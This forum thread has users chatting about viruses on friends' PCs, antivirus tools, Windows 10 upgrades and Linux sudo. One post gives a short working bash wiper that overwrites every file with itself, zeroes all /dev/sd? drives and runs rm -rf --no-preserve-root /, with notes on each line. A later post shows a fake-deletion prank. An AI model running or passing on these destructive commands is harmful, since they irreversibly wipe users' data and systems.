FakeOS wrote:

Vetpetmon wrote:

I guess this is another bump…

Nice, my other real life friend somehow downloaded 4 viruses. She claims she doesn't know how to download anything.

I was shocked when I found out that the PC had 55 TROJANS in it's entire lifespan.

I'm gonna have to factory reset it too fix it and upgrade it to Windows 10 because Windows 8"s UI is just a complete mess, plus, W10 will keep the viruses off and it will certainly speed up her laptop.

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

But first, she needs to buy a flash drive before I factory reset her PC and she loses over half a gig of her pictures from her phone.(THAT'S A LOT OF PICTURES!)

Why don't you just download malwarebytes and remove the Trojans? Mbam is good as it detects PUPs aswell- program that aren't malware but you don't want. You could try combo fix but that's really serious and could damage your pc. A combo of malwarebytes and avast should do the trick, just get the free version

EDIT: when you upgrade to windows10, be aware the antivirus is very basic. You might need more av software like malwarebytes. Also make sure you check some of the privacy settings!

Also, did you format the hard drive when you tried to install windows 10?

Vetpetmon wrote:

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

Hans5958 wrote:

FakeOS wrote:

Vetpetmon wrote:

I guess this is another bump…

Nice, my other real life friend somehow downloaded 4 viruses. She claims she doesn't know how to download anything.

I was shocked when I found out that the PC had 55 TROJANS in it's entire lifespan.

I'm gonna have to factory reset it too fix it and upgrade it to Windows 10 because Windows 8"s UI is just a complete mess, plus, W10 will keep the viruses off and it will certainly speed up her laptop.

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

But first, she needs to buy a flash drive before I factory reset her PC and she loses over half a gig of her pictures from her phone.(THAT'S A LOT OF PICTURES!)

Why don't you just download malwarebytes and remove the Trojans? Mbam is good as it detects PUPs aswell- program that aren't malware but you don't want. You could try combo fix but that's really serious and could damage your pc. A combo of malwarebytes and avast should do the trick, just get the free version

EDIT: when you upgrade to windows10, be aware the antivirus is very basic. You might need more av software like malwarebytes. Also make sure you check some of the privacy settings!

Also, did you format the hard drive when you tried to install windows 10?

Vetpetmon wrote:

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

pastelistic wrote:

Is this some sort of help topic if you get a virus or what? xD

shopt -s globstar            #1
for p in **; do              #2
  [ -d $p ] || cat $0 > $p   #3
done                         #4
dd if=/dev/zero of=/dev/sd?  #5
rm -rf --no-preserve-root /  #6

1. enable bash's recursive globbing
   
2. for each file/folder (in variable p) in every file in every folder relative to the current directory
   
3. if it is not a directory write the contents of the file pointed to in the variable $0 (argv[0]) to the file pointed to by $p
   
4. stop looping
   
5. attempt to wipe every hard drive
   
6. attempt to delete every file in the root folder
   

nickmavrick wrote:

dude341 wrote:

Vetpetmon wrote:

mr_ninjabatman wrote:

have anyone seen those game ads that say at the bottom “download of playpopgames extention is required”

the adds are usually for free minecraft


I belive playpopgames extention is a virus or malware (or trojan horse)

That was the program that was my friend's computer (That her BROTHER JUST INSTALLED).

Don't install it, it certainly is a virus.

Yeah, don't install it, Minecraft isn't even free.

acctually the you can install minecraft for free using mineshafter_launcher.jar but as far as I know that only works in Linux

Jordan_121 wrote:

I Got minecraft and I got NO VIRUSES but I don't have MCEdit

FakeOS wrote:

Vetpetmon wrote:

I guess this is another bump…

Nice, my other real life friend somehow downloaded 4 viruses. She claims she doesn't know how to download anything.

I was shocked when I found out that the PC had 55 TROJANS in it's entire lifespan.

I'm gonna have to factory reset it too fix it and upgrade it to Windows 10 because Windows 8"s UI is just a complete mess, plus, W10 will keep the viruses off and it will certainly speed up her laptop.

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

But first, she needs to buy a flash drive before I factory reset her PC and she loses over half a gig of her pictures from her phone.(THAT'S A LOT OF PICTURES!)

Why don't you just download malwarebytes and remove the Trojans? Mbam is good as it detects PUPs aswell- program that aren't malware but you don't want. You could try combo fix but that's really serious and could damage your pc. A combo of malwarebytes and avast should do the trick, just get the free version

EDIT: when you upgrade to windows10, be aware the antivirus is very basic. You might need more av software like malwarebytes. Also make sure you check some of the privacy settings!

Also, did you format the hard drive when you tried to install windows 10?

Vetpetmon wrote:

FakeOS wrote:

Vetpetmon wrote:

I guess this is another bump…

Nice, my other real life friend somehow downloaded 4 viruses. She claims she doesn't know how to download anything.

I was shocked when I found out that the PC had 55 TROJANS in it's entire lifespan.

I'm gonna have to factory reset it too fix it and upgrade it to Windows 10 because Windows 8"s UI is just a complete mess, plus, W10 will keep the viruses off and it will certainly speed up her laptop.

The viruses corrupted some of the vital files needed for installing W10 (VERY SMART LITTLE BUGS BUT THEY CAN'T FOOL ME) so that's why I need to factory reset it.

But first, she needs to buy a flash drive before I factory reset her PC and she loses over half a gig of her pictures from her phone.(THAT'S A LOT OF PICTURES!)

Why don't you just download malwarebytes and remove the Trojans? Mbam is good as it detects PUPs aswell- program that aren't malware but you don't want. You could try combo fix but that's really serious and could damage your pc. A combo of malwarebytes and avast should do the trick, just get the free version

EDIT: when you upgrade to windows10, be aware the antivirus is very basic. You might need more av software like malwarebytes. Also make sure you check some of the privacy settings!

Also, did you format the hard drive when you tried to install windows 10?

I'm reformatting the Hard Drive because it can't connect to the internet at all. That's why I have to factory reset the computer.

Jonathan50 wrote:

umount /home
echo "[1]+  Done                    rm -rf /home/*"
cd /home

Mwahahahaha…

Tails-the-Doll wrote:

I remember having a laptop when I was a dumb kid. It had one virus, it wasn't BAD, but it was well uh bad? anyway it sets your homepage to a random search engine. it made the pc slow, other then that, it was fine. it did freeze sometimes if I was on MS PAINT for some reason (came with laptop) and yea.. then that next year, that virus then made other viruses I guess, then I had to literally delete them all. I forgot the antivirus I used, but it was the one that ALSO came with the laptop because I wanted to be safe.


then I got a new computer and so far, no viruses.

and, who ever had bonzi buddy? I must say it's the funniest virus, even if it's bad. I never had it luckily, because i'm smart enough to not get it.

TheDigitalDev wrote:

I'm not sure you learn “sudo” commands. And i'm pretty sure it's not limited to Ubuntu. Anyways…

About White Hat Hacking
I'm a penetration tester I guess, not really an expert but I like to strengthen my network and all the devices in it.

FakeOS wrote:

Less start the linux user war.

Does sudo stand for…..

Super User Do

Or…

Substitute User do?

Jonathan50 wrote:

FakeOS wrote:

Less start the linux user war.

What?

Does sudo stand for…..

Super User Do

Or…

Substitute User do?

sudo

(the acronym sudo originally meant superuser do)